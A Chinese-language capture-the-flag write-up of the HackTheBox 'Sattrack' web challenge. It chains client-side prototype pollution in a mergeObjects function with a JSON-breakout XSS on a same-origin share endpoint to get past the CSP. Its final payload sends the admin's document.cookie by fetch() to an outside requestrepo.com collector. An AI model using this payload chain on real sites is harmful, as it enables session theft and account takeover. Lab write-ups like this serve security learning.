文章

HTB-Sattrack

wp边做边写的,有点乱。。。

题目是黑盒,只能先看看功能了

/login登录,题目给了partner的密码[email protected]:partn3r123

登录进去之后的几个路由几乎都是纯静态

有个share功能,会回显json,例如

/partner/share?type=dashboard&data=%7B"total_satellites"%3A63%2C"active_satellites"%3A14%2C"system_status"%3A"operational"%7D

回显为{"dashboard": "{\"total_satellites\":63,\"active_satellites\":14,\"system_status\":\"operational\"}"}

尝试改变data来xss,可惜有响应头Content-Type: text/plain,尝试了半天没能突破

认真看一遍js之后发现了不对劲的东西

在login目录下发现了一个mergeObjects函数,这往往意味着要打原型链污染

部分源码如下

function mergeObjects(target, source) {
    let depth = 0;
    function merge(target, source) {
        if (depth > 10) return target;
        depth++;
        for (let key in source) {
            if (typeof source[key] === 'object' && source[key] !== null) {
                target[key] = merge(target[key] || {}, source[key]);
            } else {
                target[key] = source[key];
            }
        }
        return target;
    }
    return merge(target, source);
}
async function loadScripts() {
    console.log("Loading scripts");
    const settings = window.settings.JS_FILES ? window.settings : await retrieveSettings();
    try {
        if (settings.JS_FILES) {
            await Promise.all(Object.values(settings.JS_FILES).map(src => {
                return new Promise((resolve, reject) => {
                    const script = document.createElement("script");
                    script.src = src;
                    script.onload = resolve;
                    script.onerror = reject;
                    document.body.appendChild(script);
                });
            }));
        }
    } catch (error) {
        console.error("Failed to load scripts:", error);
    } finally {
        console.log("Scripts loaded");
    }
}
​
async function startApplication() {
    const params = new URLSearchParams(window.location.search);
    const userMessage = params.get('message');
    let isValidated = false;
    let defaultConfig = { text: "" };
    try {
        const userConfig = JSON.parse(decodeURIComponent(userMessage));
​
        let config = mergeObjects(defaultConfig, userConfig);
​
        if (await validateMessage(config)) {
            isValidated = true;
        } else {
            isValidated = false;
        }
    } catch (e) {
        console.error("Error processing message:", e);
    }
​
    await loadScripts();
    if (isValidated) {
        console.log("Validated");
        showError(defaultConfig.text);
    } else if (!isLoaded && userMessage !== null) {
        console.log("Not validated");
        showError("Invalid message!");
    }
}

注意到startApplication这里会把message参数当json然后merge,这里便存在原型链污染

又注意到loadScripts这个函数,或许能通过原型链污染,加载一段js

这时又不得不提到csp了

content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; form-action 'self'; font-src 'self' https://fonts.gstatic.com; connect-src *

从这段csp来看,从外部引入js是不可能了,只能从同源端点入手

想了想,或许可以拿之前那个返回json的端点

尝试一下

/login?message={"__proto__":{"JS_FILES":["/partner/share?type=**/alert(1)//"]}}

不过因为返回的是json,我们必须逃出json才能注入自己的代码(不然返回的json会被忽略,上面的就报错而且忽略了

发现竟然对"}都没有转义

但是因为我们要包裹在message的json里面发送,所以使用unicode编码避免json出问题

/login?message={"__proto__":{"JS_FILES":["/partner/share?type=\u0022\u007d\u000aalert(1)//\u0022"]}}

相当于/partner/share?type="}/nalert(1)//"这样就能逃逸出json了

成功弹窗之后,修改payload发给管理员

http://127.0.0.1/login?message={"__proto__":{"JS_FILES":["/partner/share?type=\u0022\u007d\u000afetch(['http://acsu607e.requestrepo.com/?',document.cookie].join(''))//\u0022"]}}

其中为了避免+被解释为空格,选择用join拼接字符串

然后就拿到token了

进入管理员面板找到flag

HTB{xxxxxx_xxxx_xx_xxx_xxxxxxxxx}

许可协议:  CC BY 4.0